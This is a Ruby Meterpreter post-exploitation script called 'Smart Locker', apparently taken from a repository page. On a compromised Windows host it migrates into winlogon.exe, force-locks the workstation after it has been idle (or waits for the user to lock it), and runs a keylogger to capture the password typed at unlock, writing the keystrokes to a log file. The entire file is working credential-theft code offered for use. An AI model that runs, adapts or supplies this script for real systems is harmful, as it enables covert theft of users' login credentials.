242 lines
6.1 KiB
Ruby
242 lines
6.1 KiB
Ruby
|
# $id: smart_locker.rb
|
||
|
#
|
||
|
# Authors: CG, Mubix
|
||
|
# Additional idea: edsmiley
|
||
|
#-----------------------------------------------------------------------
|
||
|
|
||
|
|
||
|
sessions = client
|
||
|
|
||
|
def usage
|
||
|
print_line("Smart Locker Meterpreter Script")
|
||
|
print_line("This script will start the Meterpreter Keylogger and save all keys")
|
||
|
print_line("in a log file for later anlysis. To stop capture hit Ctrl-C")
|
||
|
print_line("Usage:" + @@exec_opts.usage)
|
||
|
raise Rex::Script::Completed
|
||
|
end
|
||
|
|
||
|
|
||
|
def check_admin
|
||
|
if client.railgun.dll['shell32'] == nil
|
||
|
client.railgun.add_dll('shell32')
|
||
|
end
|
||
|
|
||
|
if (client.railgun.shell32.functions['IsUserAnAdmin']) == nil
|
||
|
client.railgun.add_function('shell32', 'IsUserAnAdmin', 'BOOL', [])
|
||
|
end
|
||
|
|
||
|
status = client.railgun.shell32.IsUserAnAdmin()
|
||
|
return status['return']
|
||
|
end
|
||
|
|
||
|
def get_winlogon
|
||
|
winlogon = []
|
||
|
session.sys.process.get_processes().each do |x|
|
||
|
if x['name'].downcase == "winlogon.exe"
|
||
|
winlogon << x
|
||
|
end
|
||
|
end
|
||
|
if winlogon.size == 0
|
||
|
print_status("Winlogon not found! Exiting")
|
||
|
raise Rex::Script::Completed
|
||
|
elsif winlogon.size == 1
|
||
|
return winlogon[0]['pid']
|
||
|
else
|
||
|
print_error("Multiple WINLOGON processes found, run manually and specify pid")
|
||
|
print_error("Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session")
|
||
|
winlogon.each do |tp|
|
||
|
print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")
|
||
|
end
|
||
|
raise Rex::Script::Completed
|
||
|
end
|
||
|
end
|
||
|
|
||
|
#Function for starting the keylogger
|
||
|
def startkeylogger(session)
|
||
|
begin
|
||
|
print_status("Starting the keystroke sniffer...")
|
||
|
session.ui.keyscan_start
|
||
|
return true
|
||
|
rescue
|
||
|
print_status("Failed to start Keylogging!")
|
||
|
return false
|
||
|
end
|
||
|
end
|
||
|
|
||
|
# Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)
|
||
|
def keycap(session, keytime, logfile)
|
||
|
begin
|
||
|
rec = 1
|
||
|
#Creating DB for captured keystrokes
|
||
|
print_status("Keystrokes being saved in to #{logfile}")
|
||
|
#Inserting keystrokes every number of seconds specified
|
||
|
print_status("Recording ")
|
||
|
while rec == 1
|
||
|
#getting Keystrokes
|
||
|
data = session.ui.keyscan_dump
|
||
|
outp = ""
|
||
|
data.unpack("n*").each do |inp|
|
||
|
fl = (inp & 0xff00) >> 8
|
||
|
vk = (inp & 0xff)
|
||
|
kc = VirtualKeyCodes[vk]
|
||
|
|
||
|
f_shift = fl & (1<<1)
|
||
|
f_ctrl = fl & (1<<2)
|
||
|
f_alt = fl & (1<<3)
|
||
|
|
||
|
if(kc)
|
||
|
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
|
||
|
case name
|
||
|
when /^.$/
|
||
|
outp << name
|
||
|
when /shift|click/i
|
||
|
when 'Space'
|
||
|
outp << " "
|
||
|
else
|
||
|
outp << " <#{name}> "
|
||
|
end
|
||
|
else
|
||
|
outp << " <0x%.2x> " % vk
|
||
|
end
|
||
|
end
|
||
|
sleep(2)
|
||
|
file_local_write(logfile,"#{outp}\n")
|
||
|
still_locked = client.railgun.user32.GetForegroundWindow()['return']
|
||
|
if still_locked == 0
|
||
|
print_status("They logged back in! Money time!")
|
||
|
raise 'win'
|
||
|
end
|
||
|
sleep(keytime.to_i)
|
||
|
end
|
||
|
rescue::Exception => e
|
||
|
if e.message != 'win'
|
||
|
print("\n")
|
||
|
print_status("#{e.class} #{e}")
|
||
|
end
|
||
|
print_status("Stopping keystroke sniffer...")
|
||
|
session.ui.keyscan_stop
|
||
|
end
|
||
|
end
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
#############
|
||
|
# MAIN
|
||
|
#############
|
||
|
|
||
|
# Script Options
|
||
|
@@exec_opts = Rex::Parser::Arguments.new(
|
||
|
"-h" => [ false, "Help menu." ],
|
||
|
"-w" => [ false, "Wait for lockout instead of doing the lockout"],
|
||
|
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
|
||
|
"-i" => [ true, "Idletime to wait before locking the screen automatically. Default 300 seconds (5 minutes)." ],
|
||
|
"-b" => [ true, "Heartbeat time between idle checks. Default is 30 seconds." ],
|
||
|
"-p" => [ true, "Target PID - used when multiple Winlogon sessions are present."]
|
||
|
)
|
||
|
|
||
|
#
|
||
|
# Default variables
|
||
|
#
|
||
|
|
||
|
|
||
|
# Log file variables
|
||
|
host,port = session.tunnel_peer.split(':') # Get hostname
|
||
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create Filename info to be appended to downloaded files
|
||
|
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker') # Create a directory for the logs
|
||
|
::FileUtils.mkdir_p(logs) # Create the log directory
|
||
|
logfile = logs + ::File::Separator + host + filenameinfo + ".txt" # Logfile name
|
||
|
|
||
|
# Idletime variables
|
||
|
keytime = 30
|
||
|
heartbeat = 30
|
||
|
idletime = 300
|
||
|
targetpid = nil
|
||
|
justwait = false
|
||
|
|
||
|
@@exec_opts.parse(args) { |opt, idx, val|
|
||
|
case opt
|
||
|
when "-t"
|
||
|
keytime = val.to_i
|
||
|
when "-h"
|
||
|
usage
|
||
|
when "-w"
|
||
|
justwait = true
|
||
|
when "-i"
|
||
|
idletime = val.to_i
|
||
|
when "-b"
|
||
|
heartbeat = val.to_i
|
||
|
when "-p"
|
||
|
targetpid = val.to_i
|
||
|
end
|
||
|
}
|
||
|
|
||
|
# reset defaults options if non are specified (because you are an idiot)
|
||
|
keytime.nil? ? keytime = 30:
|
||
|
idletime.nil? ? idletime = 300:
|
||
|
heartbeat.nil? ? heartbeat = 30:
|
||
|
|
||
|
#Make sure we are on a Windows host
|
||
|
if client.platform !~ /win32|win64/
|
||
|
print_status "The script does not support this meterpreter type"
|
||
|
raise Rex::Script::Completed
|
||
|
end
|
||
|
|
||
|
# Load railgun if it isn't already
|
||
|
if client.railgun.present? != true
|
||
|
client.core.use("railgun")
|
||
|
print_status("Railgun wasn't present.. Loaded")
|
||
|
end
|
||
|
|
||
|
|
||
|
# Check admin status
|
||
|
admin = check_admin
|
||
|
if admin == false
|
||
|
print_error("User is not an admin, exiting")
|
||
|
raise Rex::Script::Completed
|
||
|
end
|
||
|
|
||
|
mypid = session.sys.process.getpid
|
||
|
if targetpid == nil
|
||
|
targetpid = get_winlogon
|
||
|
print_status("Found WINLOGON at PID:#{targetpid}")
|
||
|
else
|
||
|
print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you..")
|
||
|
end
|
||
|
|
||
|
if mypid == targetpid
|
||
|
print_status("Already in WINLOGON no need to migrate")
|
||
|
else
|
||
|
print_status("Migrating from PID:#{mypid}")
|
||
|
session.core.migrate(targetpid)
|
||
|
print_status("Migrated to WINLOGON PID: #{targetpid} successfully")
|
||
|
end
|
||
|
|
||
|
if justwait then
|
||
|
print_status("Waiting for user to lock out their session")
|
||
|
locked = false
|
||
|
while locked == false
|
||
|
if client.railgun.user32.GetForegroundWindow()['return'] != 0
|
||
|
locked = true
|
||
|
print_status("Session has been locked out")
|
||
|
else
|
||
|
# sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this
|
||
|
sleep(2)
|
||
|
end
|
||
|
end
|
||
|
else
|
||
|
currentidle = session.ui.idle_time
|
||
|
print_status("System has currently been idle for #{currentidle} seconds")
|
||
|
while currentidle <= idletime do
|
||
|
print_status("Current Idletime: #{currentidle} seconds")
|
||
|
sleep(heartbeat)
|
||
|
currentidle = session.ui.idle_time
|
||
|
end
|
||
|
client.railgun.user32.LockWorkStation()
|
||
|
end
|
||
|
|
||
|
if startkeylogger(session)
|
||
|
keycap(session, keytime, logfile)
|
||
|
end
|